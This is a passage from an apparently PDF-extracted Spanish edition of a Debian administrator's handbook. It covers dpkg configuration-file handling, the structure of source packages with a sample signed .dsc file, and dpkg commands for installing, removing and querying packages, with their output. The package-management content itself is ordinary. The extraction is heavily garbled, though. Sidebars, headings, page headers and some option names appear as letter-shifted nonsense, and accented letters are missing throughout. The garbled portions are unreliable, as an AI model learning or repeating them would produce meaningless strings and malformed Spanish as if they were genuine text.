en la base de datos de dpkg al igual que cualquier otro archivo de control).
enumera los archivos del paquete que tienen que administrarse como archivos de
configuracin. El administrador puede modificar los archivos de configuracin y dpkg intentar
preservar estos cambios durante la actualizacin de un paquete.
conffiles

De hecho, en esta situacin, dpkg se comporta tan inteligentemente como le es posible: si el


archivo de configuracin estndar no fue modificado entre dos versiones, no hace nada. Si, sin
embargo, el archivo cambi intentar actualizar este archivo. Son posibles dos casos: o bien
el administrador no modific el archivo, en cuyo caso dpkg automticamente instalar la nueva versin; o el archivo fue modificado, en cuyo caso dpkg le preguntar al administrador qu
versin desea utilizar (la antigua con modificaciones o la nueva provista con el paquete). Para
asistirlo en esta decisin dpkg ofrece mostrar las diferencias entre las dos versiones (diff). Si
el usuario decide mantener la versin anterior, la nueva ser almacenada en la misma ubicacin
con el sufijo .dpkg-dist. Si el usuario selecciona la nueva versin, se mantiene la versin anterior en la misma ubicacin con el sufijo .dpkg-old. Otra accin posible consiste en interrumpir

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



momentneamente dpkg para editar el archivo e intentar rehacer las modificaciones relevantes
(identificadas previamente con diff).
:&/%0 .4 "--
&WJUBOEP QSFHVOUBT TPCSF MPT
BSDIJWPT EF DPOGJHVSBDJO

BENJOJTUSB MB BDUVBMJ[BDJO EF MPT BSDIJWPT EF DPOGJHVSBDJO QFSP JOUFS


SVNQF FTUBT PQFSBDJPOFT GSFDVFOUFNFOUF NJFOUSBT USBCBKB QBSB QFEJS JOGPS
NBDJO BM BENJOJTUSBEPS &TUP MP IBDF NFOPT QMBDFOUFSP QBSB BRVFMMPT RVF
EFTFBO FKFDVUBS BDUVBMJ[BDJPOFT EF GPSNB OP JOUFSBDUJWB &T QPS FTUP RVF TUF
QSPHSBNB PGSFDF PQDJPOFT RVF MF QFSNJUFO BM TJTUFNB SFTQPOEFS BVUPNUJDB
NFOUF TFHO MB NJTNB MHJDB --force-confold NBOUJFOF MPT BSDIJWPT EF DPO
GJHVSBDJO BOUFSJPSFT --force-confnew VUJMJ[BS MB OVFWB WFSTJO EFM BSDIJWP
TF SFTQFUBO FTUBT PQDJPOFT BO DVBOEP FM BSDIJWP OP GVF NPEJGJDBEP QPS FM
BENJOJTUSBEPS RVF SBSB WF[ UJFOFO FM FGFDUP EFTFBEP
 "HSFHBS MB PQDJO -force-confdef MF JOEJDB B dpkg RVF EFDJEB QPS TV DVFOUB DVBOEP TFB QPTJCMF
FO PUSBT QBMBCSBT DVBOEP FM BSDIJWP EF DPOGJHVSBDJO PSJHJOBM OP GVF NPEJGJ
DBEP
Z TMP VUJMJDF --force-confnew P --force-confold QBSB MPT PUSPT DBTPT
dpkg

&TUBT PQDJPOFT TMP TPO WMJEBT QBSB dpkg QFSP MB NBZPS QBSUF EFM UJFNQP FM
BENJOJTUSBEPS USBCBKBS EJSFDUBNFOUF DPO MPT QSPHSBNBT aptitude P apt-get
&T QPS MP UBOUP OFDFTBSJP TBCFS MB TJOUBYJT OFDFTBSJB QBSB JOEJDBS MBT PQDJPOFT
B QBTBS B dpkg TVT PQDJPOFT TPO NVZ TJNJMBSFT

# apt-get -o DPkg::options::="--force-confdef" -o DPkg::
options::="--force-confold" dist-upgrade

1VFEF BMNBDFOBS FTUBT PQDJPOFT EJSFDUBNFOUF FO MB DPOGJHVSBDJO EF apt 1BSB


FTUP TJNQMFNFOUF FTDSJCB MB TJHVJFOUF MOFB FO FM BSDIJWP /etc/apt/apt.conf.
d/local
DPkg::options { "--force-confdef"; "--force-confold"; }

*ODMVJS FTUB PQDJO FO FM BSDIJWP EF DPOGJHVSBDJO TJOHJGJDB RVF UBNCJO TFS


VUJMJ[BEB FO VOB JOUFSGB[ HSGJDB DPNP aptitude

:&/%0 .4 "--
0CMJHBOEP B EQLH B
QSFHVOUBS TPCSF MPT BSDIJWPT
EF DPOGJHVSBDJO

-B PQDJO --force-confask PCMJHB B dpkg B NPTUSBS MBT QSFHVOUBT TPCSF


BSDIJWPT EF DPOGJHVSBDJO BO FO MPT DBTPT FO MPT RVF OP TFSBO OFDFTBSJBT
OPSNBMNFOUF 1PS MP UBOUP BM SFJOTUBMBS VO QBRVFUF DPO FTUB PQDJO dpkg QSF
HVOUBS OVFWBNFOUF TPCSF UPEPT MPT BSDIJWPT EF DPOGJHVSBDJO NPEJGJDBEPT
QPS FM BENJOJTUSBEPS &TUP FT NVZ DPOWFOJFOUF FTQFDJBMNFOUF QBSB SFJOTUBMBS
FM BSDIJWP EF DPOGJHVSBDJO PSJHJOBM TJ TUF GVF CPSSBEP Z OP QPTFF PUSB DPQJB
EJTQPOJCMF VOB SFJOTUBMBDJO OPSNBM OP GVODJPOBS QPSRVF dpkg DPOTJEFSB MB
FMJNJOBDJO DPNP VOB GPSNB MFHUJNB EF NPEJGJDBDJO EFM BSDIJWP QPS MP RVF
OP MP JOTUBMBS OVFWBNFOUF

 &TUSVDUVSB EF VO QBRVFUF GVFOUF


 'PSNBUP
Un paquete fuente generalmente consiste de tres archivos: uno .dsc, uno .orig.tar.gz y uno
.debian.tar.gz (o .diff.gz). Ellos permiten la creacin de paquetes binarios (.deb descriptos



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

anteriormente) a partir de los archivos de cdigo fuente del programa, escritos en un lenguaje
de programacin.
El archivo .dsc (Debian Source Control: control de fuente Debian) es un archivo de texto corto que contiene una cabecera RFC 2822 (de la misma forma que el archivo control estudiado en
la Seccin 5.2.1, Descripcin: el archivo control pgina 78) que describe el paquete fuente e
indica qu otros archivos forman parte del mismo. Est firmado por su encargado, lo que garantiza su autenticidad. Revise la Seccin 6.5, Comprobacin de la autenticidad de un paquete
pgina 126 para ms detalles sobre este tema.
&KFNQMP 

6O BSDIJWP .dsc

-----BEGIN PGP SIGNED MESSAGE----Hash: SHA256


Format: 3.0 (quilt)
Source: zim
Binary: zim
Architecture: all
Version: 0.48-1
Maintainer: Emfox Zhou <emfox@debian.org>
Uploaders: Raphal Hertzog <hertzog@debian.org>
Homepage: http://zim-wiki.org
Standards-Version: 3.9.0
Vcs-Browser: http://svn.debian.org/wsvn/collab-maint/deb-maint/zim/trunk?op=log
Vcs-Svn: svn://svn.debian.org/collab-maint/deb-maint/zim/trunk
Build-Depends: debhelper (>= 7.4.12), python-support (>= 0.8), xdg-utils, python (>=
2.5), libgtk2.0-0 (>= 2.6), python-gtk2, python-xdg, python-simplejson |
python (>= 2.6)
Checksums-Sha1:
bd84fa5104de5ed85a49723d26b350856de93217 966899 zim_0.48.orig.tar.gz
352111ff372a20579664416c9abd4970839835b3 9615 zim_0.48-1.debian.tar.gz
Checksums-Sha256:
77d8df7dc89b233fdc3aab1a8ad959c6888881ae160770f50bf880a56e02f895 966899 zim_0.48.
orig.tar.gz
0fceab5d3b099075cd38c225fa4002d893c1cdf4bbcc51d1391a34248e1e1a22 9615 zim_0.48-1.
debian.tar.gz
Files:
88cfc18c0c7339528d5f5f463647bb5f 966899 zim_0.48.orig.tar.gz
608b6e74aa14252dfc6236ab184bdb0c 9615 zim_0.48-1.debian.tar.gz
-----BEGIN PGP SIGNATURE----Version: GnuPG v1.4.10 (GNU/Linux)
Comment: Signed by Raphael Hertzog
iQEcBAEBCAAGBQJMSUAfAAoJEAOIHavrwpq5qjUIAKmM8p86GcHYTxMmKENoBUoW
UPi5R7DzrLMbFrUXKgXWLvEKQTXpmkJhh2aSWq2iY+5piBSHwMiITfaBTpdTRvzU
5nT/n9MlF8sJFESet/NgZaMPFDzWUbIy5aYbuG1TXmn/7XiDrBaQGiVqKkVLPrqc

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



yWhsotn3JNKIjbPDW/DjImYyKD5RZpXrbVjuIgDT1E6yxtNYwUyBlK0cx/GITNep
uV48hsT8cj0paqVXl5+P9Ww8XIE3clxNpE/45/tvKvkqGOeysc6OPAqsIw6HYFY9
0EnvMTfMpeQOA68ZqsNpUjomv5r/EGwdCbAWo5iJDsZzXQ1Feh6iSNrjv3yeRzg=
=qnbh
-----END PGP SIGNATURE-----

Note que el paquete fuente tambin tiene dependencias (#VJME%FQFOET) completamente distintas de aquellas del paquete binario ya que indican las herramientas necesarias para compilar
el software en cuestin y construir su paquete binario.
13&$"6$*/
&TQBDJPT EF OPNCSFT
EJTUJOUPT

&T JNQPSUBOUF TBCFS RVF OP IBZ VOB DPSSFTQPOEFODJB OFDFTBSJB FOUSF FM OPN
CSF EF VO QBRVFUF GVFOUF Z FM EF FM P MPT QBRVFUFT CJOBSJPT RVF HFOFSB &T TVGJ
DJFOUFNFOUF GDJM EF FOUFOEFS TJ TBCF RVF DBEB QBRVFUF GVFOUF QVFEF HFOFSBS
WBSJPT QBRVFUFT CJOBSJPT &T QPS FTUP RVF FM BSDIJWP .dsc UJFOF MPT DBNQPT
Source Z Binary QBSB OPNCSBS FYQMDJUBNFOUF FM QBRVFUF GVFOUF Z BMNBDFOBS
MB MJTUB EF QBRVFUFT CJOBSJPT RVF HFOFSB SFTQFDUJWBNFOUF

$6-563"
1PSRV EJWJEJS FO WBSJPT
QBRVFUFT

'SFDVFOUFNFOUF VO QBRVFUF GVFOUF QBSB VO QSPHSBNB EBEP


QVFEF HFOFSBS
WBSJPT QBRVFUFT CJOBSJPT -B EJWJTJO FT KVTUJGJDBEB QPS MB QPTJCJMJEBE EF VUJ
MJ[BS QBSUFT EF
FM NJTNP FO WBSJPT DPOUFYUPT 4J DPOTJEFSBNPT VOB CJCMJPUF
DB DPNQBSUJEB TUB QVFEF TFS JOTUBMBEB QBSB IBDFS GVODJPOBS VOB BQMJDBDJO
QPS FKFNQMP MJCD
P QBSB EFTBSSPMMBS VO OVFWP QSPHSBNB MJCDEFW TFSB FM
QBRVFUF DPSSFDUP
 &ODPOUSBNPT MB NJTNB MHJDB QBSB TFSWJDJPT DMJFOUFTFSWJ
EPS EPOEF EFTFBNPT JOTUBMBS FM TFSWJEPS FO VOB NRVJOB Z MB QBSUF DMJFOUF FO
PUSBT FTUF FT FM DBTP QPS FKFNQMP EF PQFOTTITFSWFS Z PQFOTTIDMJFOU

5BO GSFDVFOUFNFOUF UBNCJO TF QSPWFF MB EPDVNFOUBDJO FO VO QBRVFUF EFE
JDBEP FM VTVBSJP QVFEF JOTUBMBSMB JOEFQFOEJFOUFNFOUF EFM TPXBSF Z QVFEF
FMFHJS FMJNJOBSMB FO DVBMRVJFS NPNFOUP QBSB BIPSSBS FTQBDJP FO EJTDP "EJ
DJPOBMNFOUF FTUP UBNCJO BIPSSB FTQBDJP FO EJTDP FO MBT SQMJDBT %FCJBO ZB
RVF UPEBT MBT BSRVJUFDUVSBT DPNQBSUFO MPT QBRVFUFT EF EPDVNFOUBDJO FO
MVHBS EF UFOFS MB EPDVNFOUBDJO EVQMJDBEB FO MPT QBRVFUFT QBSB DBEB BSRVJ
UFDUVSB


1&341&$5*7"
%JGFSFOUFT GPSNBUPT EF
QBRVFUFT GVFOUF

0SJHJOBMNFOUF TMP FYJTUB VO GPSNBUP EF QBRVFUF GVFOUF &TUF FT FM GPSNBUP 1.


0 RVF BTPDJB VO DPNQFOEJP .orig.tar.gz DPO VO QBSDIF EF kEFCJBOJ[BDJO{
.diff.gz UBNCJO IBZ VOB WBSJBOUF RVF DPOTJTUF EF VO TJNQMF DPNQFOEJP
.tar.gz VUJMJ[BEB BVUPNUJDBNFOUF TJ IBZ EJTQPOJCMF VO BSDIJWP .orig.tar.
gz

%FTEF %FCJBO 4RVFF[F MPT EFTBSSPMMBEPSFT %FCJBO UJFOFO MB PQDJO EF VUJ
MJ[BS OVFWPT GPSNBUPT RVF DPSSJHFO WBSJPT QSPCMFNBT EFM GPSNBUP IJTUSJDP
&M GPSNBUP 3.0 (quilt) QVFEF DPNCJOBS WBSJPT DPNQFOEJPT EF PSJHFO FO FM
NJTNP QBRVFUF GVFOUF QVFEF JODMVJS DPNQFOEJPT .orig- componente.tar.gz
BEFNT EFM .orig.tar.gz VTVBM &TUP FT UJM DPO FM TPXBSF EJTUSJCVJEP EFT
EF PSJHFO FO WBSJPT DPNQPOFOUFT QFSP QBSB FM RVF TF EFTFB TMP VO QBRVFUF
GVFOUF &TUPT DPNQFOEJPT UBNCJO QVFEF DPNQSJNJSTF DPO bzip2 P xz FO MVHBS
EF gzip dpkg-source BDFQUB UBNCJO lzma QFSP OP FT BDFQUBEPT FO FM BSDIJWP
PGJDJBM
MP RVF BIPSSB FTQBDJP FO EJTDP Z SFDVSTPT EF SFE 'JOBMNFOUF TF SFFN
QMB[B FM QBSDIF NPOPMUJDP .diff.gz QPS VO DPNQFOEJP .debian.tar.gz RVF



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

DPOUJFOF MBT JOTUSVDDJPOFT EF DPNQJMBDJO Z VO DPOKVOUP EF QBSDIFT BM PSJHFO


DPOUSJCVJEPT QPS FM EFTBSSPMMBEPS EFM QBRVFUF &TUPT MUJNPT TPO SFHJTUSBEPT FO
VO GPSNBUP DPNQBUJCMF DPO quilt VOB IFSSBNJFOUB RVF GBDJMJUB MB HFTUJO
EF VOB TFSJF EF QBSDIFT

El archivo .orig.tar.gz es un compendio que contiene el cdigo fuente como es provisto por
el desarrollador original. Se le pide a los encargados de paquetes Debian que no modifiquen este
compendio para poder verificar fcilmente el origen e integridad del archivo (comparndolo
simplemente con una suma de verificacin) y para respetar los deseos de algunos autores.
El archivo .debian.tar.gz contiene todas las modificaciones realizadas por el desarrollador
Debian, especialmente el agregado de un directorio debian que contiene las instrucciones para
construir un paquete Debian.
)&33".*&/5"
%FTDPNQSJNJFOEP VO
QBRVFUF GVFOUF

4J UJFOF VO QBRVFUF GVFOUF QVFEF VUJMJ[BS dpkg-source EFM QBRVFUF EQLHEFW

QBSB EFTDPNQSJNJSMP
$ dpkg-source -x package_0.7-1.dsc

5BNCJO QVFEF VUJMJ[BS apt-get QBSB EFTDBSHBS VO QBRVFUF GVFOUF Z EFTDPN


QSJNJSMP JONFEJBUBNFOUF /FDFTJUB TJO FNCBSHP RVF MBT MOFBT EFCTSD BQSPQJ
BEBT FTUO QSFTFOUFT FO FM BSDIJWP /etc/apt/sources.list QBSB NB EFUBMMFT
SFWJTF MB 4FDDJO  k$POUFOJEP EFM BSDIJWP sources.list{ QHJOB 
 T
UBT TPO VUJMJ[BEBT QBSB MJTUBS MPT PSHFOFT EF MPT QBRVFUFT GVFOUF MPT TFSWJEPSFT
FO MPT RVF TF FODVFOUSBO VO HSVQP EF QBRVFUFT GVFOUF

$ apt-get source paquete

 6UJMJ[BDJO EFOUSP EF %FCJBO


El paquete fuente es la base de todo en Debian. Todos los paquetes Debian provienen de un paquete fuente y cada modificacin en un paquete Debian es la consecuencia de una modificacin
realizada al paquete fuente. Los desarrolladores Debian trabajan con el paquete fuente sabiendo,
sin embargo, las consecuencias de sus acciones en los paquetes binarios. Los frutos de su labor
se encuentran, entonces, en los paquetes fuentes disponibles desde Debian: puede volver a ellos
y todo lo que generan.
Cuando llega una nueva versin de un paquete (paquete fuente y uno o ms paquetes binarios)
al servidor Debian, el paquete fuente es el ms importante. Ser utilizado luego por una red
de equipos de diferentes arquitecturas para compilar las diferentes arquitecturas con las que
Debian es compatible. El hecho de que los desarrolladores tambin enven uno o ms paquetes binarios para una arquitectura dada (generalmente i386 o amd64) es de relativamente poca
importancia ya que los mismos bien podran haberse generado automticamente.

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



 .BOJQVMBDJO EF QBRVFUFT DPO dpkg


dpkg es el programa base para manejar paquetes Debian en el sistema. Si tiene paquetes .deb,
dpkg es lo que permite instalar o analizar sus contenidos. Pero este programa slo tiene una

visin parcial del universo Debian: sabe lo que est instalado en el sistema y lo que sea que se le
provee en la lnea de rdenes, pero no sabe nada ms de otros paquetes disponibles. Como tal,
fallar si no se satisface una dependencia. Por el contrario, herramientas como apt-get crearn
una lista de dependencias para instalar todo tan automticamente como sea posible.
/05"
dpkg P apt-get

4F EFCF WFS B dpkg DPNP VOB IFSSBNJFOUB EF TJTUFNB USBT CBNCBMJOBT


Z aptget DPNP VOB IFSSBNJFOUB NT DFSDB EFM VTVBSJP RVF FWJUB MBT MJNJUBDJPOFT
EFM QSJNFSP &TUBT IFSSBNJFOUBT USBCBKBO KVOUBT DBEB VOB DPO TVT QBSUJDVMBS
JEBEFT BEFDVBEBT QBSB UBSFBT FTQFDGJDBT

 *OTUBMBDJO EF QBRVFUFT


es, sobre todo, la herramienta para instalar un paquete Debian ya disponible (porque no
descarga nada). Para hacer esto utilizamos su opcin J o JOTUBMM.
dpkg

&KFNQMP 

*OTUBMBDJO EF VO QBRVFUF DPO dpkg

# dpkg -i man-db_2.6.2-1_amd64.deb
(Reading database ... 96357 files and directories currently installed.)
Preparing to replace man-db 2.6.1-3 (using man-db_2.6.2-1_amd64.deb) ...
Unpacking replacement man-db ...
Setting up man-db (2.6.2-1) ...
Building database of manual pages ...

Podemos ver los diferentes pasos que realiza dpkg; sabemos, por lo tanto, en qu punto podra
haber ocurrido un error. La instalacin tambin puede realizarse en dos etapas: primero desempaquetado, luego configuracin. apt-get lo aprovecha limitando la cantidad de invocaciones de
dpkg (ya que cada llamada es costosa debido a la carga de la base de datos en memoria, especialmente la lista de archivos ya instalados).
&KFNQMP 

%FTFNQBRVFUBEP Z DPOGJHVSBDJO TFQBSBEPT

# dpkg --unpack man-db_2.6.2-1_amd64.deb


(Reading database ... 96357 files and directories currently installed.)
Preparing to replace man-db 2.6.2-1 (using man-db_2.6.2-1_amd64.deb) ...
Unpacking replacement man-db ...
# dpkg --configure man-db
Setting up man-db (2.6.2-1) ...



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

Building database of manual pages ...

A veces dpkg fallar intentando instalar un paquete y devolver un error; si el usuario le ordena
ignorarlo slo generar una advertencia; es por esta razn que tenemos las diferentes opciones
GPSDF . La orden dpkg --force-help, o su documentacin, proveer una lista completa de
estas opciones. El error ms frecuente, con el que seguramente se encontrar tarde o temprano,
es una colisin de archivos. Cuando un paquete contiene un archivo que ya est instalado por
otro paquete, dpkg se negar a instalarlo. Aparecer el siguiente mensaje:
Unpacking libgdm (from .../libgdm_3.8.3-2_amd64.deb) ...
dpkg: error processing /var/cache/apt/archives/libgdm_3.8.3-2_amd64.deb (--unpack):
trying to overwrite '/usr/bin/gdmflexiserver', which is also in package gdm3 3.4.1-9

En este caso, si piensa que reemplazar este archivo no es un riesgo significativo para la estabilidad de su sistema (que es el caso frecuentemente), puede utilizar la opcin GPSDFPWFSXSJUF
que le indica a dpkg que ignore dicho error y sobreescriba el archivo.
Si bien hay muchas opciones GPSDF disponibles, probablemente slo utilice regularmente 
GPSDFPWFSXSJUF. Estas opciones slo existen para situaciones excepcionales y es mejor evitarlas
siempre que sea posible para respetar las reglas impuestas por el mecanismo de empaquetado.
No olvide que estas reglas aseguran la consistencia y estabilidad de su sistema.
13&$"6$*/
6TP FGFDUJWP EF --force-*

4J OP FT DVJEBEPTP VUJMJ[BS VOB PQDJO --force-* QVFEF MMFWBS B VO TJTUFNB


FO FM RVF MB GBNJMJB EF QSPHSBNBT "15 TF OFHBSO B GVODJPOBS %F IFDIP BM
HVOBT EF FTUBT PQDJPOFT QFSNJUJSO JOTUBMBS VO QBRVFUF DVBOEP OP TF DVNQMF
VOB EF TVT EFQFOEFODJBT P DVBOEP FYJTUF VO DPOGMJDUP &M SFTVMUBEP TFS VO TJT
UFNB JODPOTJTUFOUF EFTEF FM QVOUP EF WJTUB EF EFQFOEFODJBT Z MPT QSPHSBNBT
"15 TF OFHBSO B FGFDUVBS DVBMRVJFS BDDJO FYDFQUP BRVFMMBT RVF MF QFSNJ
UBO EFWPMWFS FM TJTUFNB B VO FTUBEP DPOTJTUFOUF RVF HFOFSBMNFOUF DPOTJTUF
FO JOTUBMBS MB EFQFOEFODJB GBMUBOUF P FMJNJOBS VO QBRVFUF QSPCMFNUJDP
 &TUP
SFTVMUB FO NFOTBKFT DPNP FM TJHVJFOUF PCUFOJEP MVFHP EF JOTUBMBS VOB OVFWB
WFSTJO EF SEFTLUPQ JHOPSBOEP TV EFQFOEFODJB FO VOB OVFWB WFSTJO EF MJCD
# apt-get dist-upgrade
[...]
You can run "apt-get -f install" to correct these problems.
The following packages contain unmet dependencies:
rdesktop: Depends on: libc6 (>= 2.5) but 2.3.6.ds1-13
etch7 is installed
E: missing dependencies. Try to use the option -f.

6O BENJOJTUSBEPS WBMJFOUF RVF FTU TFHVSP EF MB DPSSFDUJUVE EF TV BOMJTJT QP


ESB FMFHJS JHOPSBS VOB EFQFOEFODJB P DPOGMJDUP Z VUJMJ[BS MB PQDJO --force* DPSSFTQPOEJFOUF &O FTUF DBTP TJ EFTFB QPEFS DPOUJOVBS VUJMJ[BOEP apt-get
P aptitude EFCFS FEJUBS /var/lib/dpkg/status QBSB CPSSBS P NPEJGJDBS MB
EFQFOEFODJB P DPOGMJDUP RVF EFTFB JOWBMJEBS
&TUB NBOJQVMBDJO FT VO BUBKP EFTBHSBEBCMF Z OP EFCFSB TFS VUJMJ[BEP OVODB
FYDFQUP FO MPT DBTPT EF NT FYUSFNB OFDFTJEBE .VZ GSFDVFOUFNFOUF SFDPN
QJMBS FM QBRVFUF RVF FTU DBVTBOEP FM QSPCMFNB SFWJTF MB 4FDDJO  k3F
DPNQJMBDJO EF VO QBRVFUF EFTEF TVT GVFOUFT{ QHJOB 
P VUJMJ[BS VOB OVFWB

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



WFSJO QPUFODJBMNFOUF DPSSFHJEB


EF VO SFQPTJUPSJP DPNP stable-backports
SFWJTF MB 4FDDJO  k3FUSPBEBQUBDJPOFT QBSB 4UBCMF{ QHJOB 
TPO
TPMVDJPOFT NT BEFDVBEBT

 &MJNJOBDJO EF VO QBRVFUF


Ejecutar dpkg con la opcin S o SFNPWF seguida del nombre de un paquete eliminar dicho
paquete. Esta eliminacin, sin embargo, no es completa: se mantendrn todos los archivos de
configuracin, scripts del encargado, archivos de registros (registros de sistema) y otros datos
de usuarios que gestiona el paquete. De esta forma, puede desactivar el programa fcilmente al
desinstalarlo pero es posible reinstalarlo rpidamente con la misma configuracin. Para eliminar completamente todo lo asociado con un paquete, utilice la opcin 1 o QVSHF seguida del
nombre del paquete.
&KFNQMP 

&MJNJOBDJO Z QVSHBEP EFM QBRVFUF EFCJBODE

# dpkg -r debian-cd
(Reading database ... 97747 files and directories currently installed.)
Removing debian-cd ...
# dpkg -P debian-cd
(Reading database ... 97401 files and directories currently installed.)
Removing debian-cd ...
Purging configuration files for debian-cd ...

 $POTVMUB EF MB CBTF EF EBUPT EF dpkg F JOTQFDDJO EF BSDIJWPT .deb


70-7&3 " -04
$*.*&/504
4JOUBYJT EF PQDJPOFT

-B NBZPSB EF MBT PQDJPOFT TF FODVFOUSBO EJTQPOJCMFT FO VOB WFSTJO kMBSHB{


VOB P NT QBMBCSBT SFMFWBOUFT QSFDFEJEBT QPS EPCMF HVJO
Z FO VOB WFSTJO
kDPSUB{ VOB OJDB MFUSB OPSNBMNFOUF MB QSJNFSB EF MBT MFUSBT EF MB WFSTJO
MBSHB Z QSFDFEJEB QPS VO OJDP HVJO
 &TUB DPOWFODJO FT UBO DPNO RVF
DPOTUJUVZF VO FTUOEBS 104*9

Antes de finalizar esta seccin, estudiaremos algunas opciones de dpkg que consultan la base
de datos interna para obtener informacin. Daremos primero las opciones en su versin larga y
luego la versin corta correspondiente (que evidentemente aceptarn los mismos parmetros
posibles) de las opciones: MJTUGJMFT QBRVFUF (o -), que listar los archivos instalados por este
paquete; TFBSDI BSDIJWP (o 4), que encontrar el o los paquetes que contienen el archivo;
TUBUVT QBRVFUF (o T), que mostrar las cabeceras de un paquete instalado; MJTU (o M), que
mostrar la lista de paquetes conocidos por el sistema y su estado de instalacin; DPOUFOUT
BSDIJWPEFC (o D), que listar los archivos en el paquete Debian especificado; JOGP BSDIJWPEFC
(o *), que mostrar las cabeceras de este paquete Debian.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

&KFNQMP 

7BSJBT DPOTVMUBT DPO dpkg

$ dpkg -L base-passwd
/.
/usr
/usr/sbin
/usr/sbin/update-passwd
/usr/share
/usr/share/man
/usr/share/man/ru
/usr/share/man/ru/man8
/usr/share/man/ru/man8/update-passwd.8.gz
/usr/share/man/pl
/usr/share/man/pl/man8
/usr/share/man/pl/man8/update-passwd.8.gz
/usr/share/man/man8
/usr/share/man/man8/update-passwd.8.gz
/usr/share/man/fr
/usr/share/man/fr/man8
/usr/share/man/fr/man8/update-passwd.8.gz
/usr/share/doc-base
/usr/share/doc-base/users-and-groups
/usr/share/base-passwd
/usr/share/base-passwd/passwd.master
/usr/share/base-passwd/group.master
/usr/share/lintian
/usr/share/lintian/overrides
/usr/share/lintian/overrides/base-passwd
/usr/share/doc
/usr/share/doc/base-passwd
/usr/share/doc/base-passwd/copyright
/usr/share/doc/base-passwd/users-and-groups.html
/usr/share/doc/base-passwd/changelog.gz
/usr/share/doc/base-passwd/users-and-groups.txt.gz
/usr/share/doc/base-passwd/README
$ dpkg -S /bin/date
coreutils: /bin/date
$ dpkg -s coreutils
Package: coreutils
Essential: yes
Status: install ok installed
Priority: required
Section: utils
Installed-Size: 13822
Maintainer: Michael Stone <mstone@debian.org>
Architecture: amd64
Multi-Arch: foreign
Version: 8.13-3.5

$BQUVMP  4JTUFNB EF QBRVFUFT IFSSBNJFOUBT Z QSJODJQJPT GVOEBNFOUBMFT



Replaces: mktemp, timeout


Depends: dpkg (>= 1.15.4) | install-info
Pre-Depends: libacl1 (>= 2.2.51-8), libattr1 (>= 1:2.4.46-8), libc6 (>= 2.7),
libselinux1 (>= 1.32)
Conflicts: timeout
Description: GNU core utilities
This package contains the basic file, shell and text manipulation
utilities which are expected to exist on every operating system.
.
Specifically, this package includes:
arch base64 basename cat chcon chgrp chmod chown chroot cksum comm cp
csplit cut date dd df dir dircolors dirname du echo env expand expr
factor false flock fmt fold groups head hostid id install join link ln
logname ls md5sum mkdir mkfifo mknod mktemp mv nice nl nohup nproc od
paste pathchk pinky pr printenv printf ptx pwd readlink rm rmdir runcon
sha*sum seq shred sleep sort split stat stty sum sync tac tail tee test
timeout touch tr true truncate tsort tty uname unexpand uniq unlink
users vdir wc who whoami yes
Homepage: http://gnu.org/software/coreutils
$ dpkg -l 'b*'
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Inst/Conf-files/Unpacked/halF-conf/Half-inst/trig-aWait/Trig-pend
|/ Err?=(none)/Reinst-required (Status,Err: uppercase=bad)
||/ Name
Version
Architecture
Description
+++-============-==============-==============-================================
un backupninja <none>
(no description available)
un base
<none>
(no description available)
un base-config <none>
(no description available)
ii base-files
7.1
amd64
Debian base system miscellaneous
ii base-passwd 3.5.26
amd64
Debian base system master passwo
[...]
$ dpkg -c /var/cache/apt/archives/gnupg_1.4.12-7_amd64.deb
drwxr-xr-x root/root
0 2013-01-02 19:28 ./
drwxr-xr-x root/root
0 2013-01-02 19:28 ./usr/
drwxr-xr-x root/root
0 2013-01-02 19:28 ./usr/share/
drwxr-xr-x root/root
0 2013-01-02 19:28 ./usr/share/doc/
drwxr-xr-x root/root
0 2013-01-02 19:28 ./usr/share/doc/gnupg/
-rw-r--r-- root/root
3258 2012-01-20 10:51 ./usr/share/doc/gnupg/TODO
-rw-r--r-- root/root
308 2011-12-02 18:34 ./usr/share/doc/gnupg/FAQ
-rw-r--r-- root/root
3543 2012-02-20 18:41 ./usr/share/doc/gnupg/
Upgrading_From_PGP.txt
-rw-r--r-- root/root
690 2012-02-20 18:41 ./usr/share/doc/gnupg/README.
Debian
-rw-r--r-- root/root
1418 2012-02-20 18:41 ./usr/share/doc/gnupg/TODO.Debian
[...]
$ dpkg -I /var/cache/apt/archives/gnupg_1.4.12-7_amd64.deb
new debian package, version 2.0.
size 1952176 bytes: control archive=3312 bytes.
1449 bytes,
30 lines
control



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

4521 bytes,
65 lines
md5sums
479 bytes,
13 lines
* postinst
#!/bin/sh
473 bytes,
13 lines
* preinst
#!/bin/sh
Package: gnupg
Version: 1.4.12-7
Architecture: amd64
Maintainer: Debian GnuPG-Maintainers <pkg-gnupg-maint@lists.alioth.debian.org>
Installed-Size: 4627
Depends: libbz2-1.0, libc6 (>= 2.4), libreadline6 (>= 6.0), libusb-0.1-4 (>=
2:0.1.12), zlib1g (>= 1:1.1.4), dpkg (>= 1.15.4) | install-info, gpgv
Recommends: libldap-2.4-2 (>= 2.4.7), gnupg-curl
Suggests: gnupg-doc, xloadimage | imagemagick | eog, libpcsclite1
Section: utils
Priority: important
Multi-Arch: foreign
Homepage: http://www.gnupg.org
Description: GNU privacy guard - a free PGP replacement
GnuPG is GNU's tool for secure communication and data storage.
It can be used to encrypt data and to create digital signatures.
It includes an advanced key management facility and is compliant
with the proposed OpenPGP Internet standard as described in RFC 4880.
[...]

:&/%0 .4 "--
$PNQBSBDJO EF WFSTJPOFT

%BEP RVF dpkg FT FM QSPHSBNB QBSB HFTUJPOBS QBRVFUFT %FCJBO UBNCJO


QSPWFF MB JNQMFNFOUBDJO EF SFGFSFODJB QBSB MB MHJDB EF DPNQBSBDJO EF
ONFSPT EF WFSTJO &T QPS FTUP RVF UJFOF VOB PQDJO --compare-versions
RVF QVFEF TFS VUJMJ[BEB QPS QSPHSBNBT FYUFSOPT FTQFDJBMNFOUF TDSJQUT EF DPO
GJHVSBDJO FKFDVUBEPT QPS dpkg NJTNP
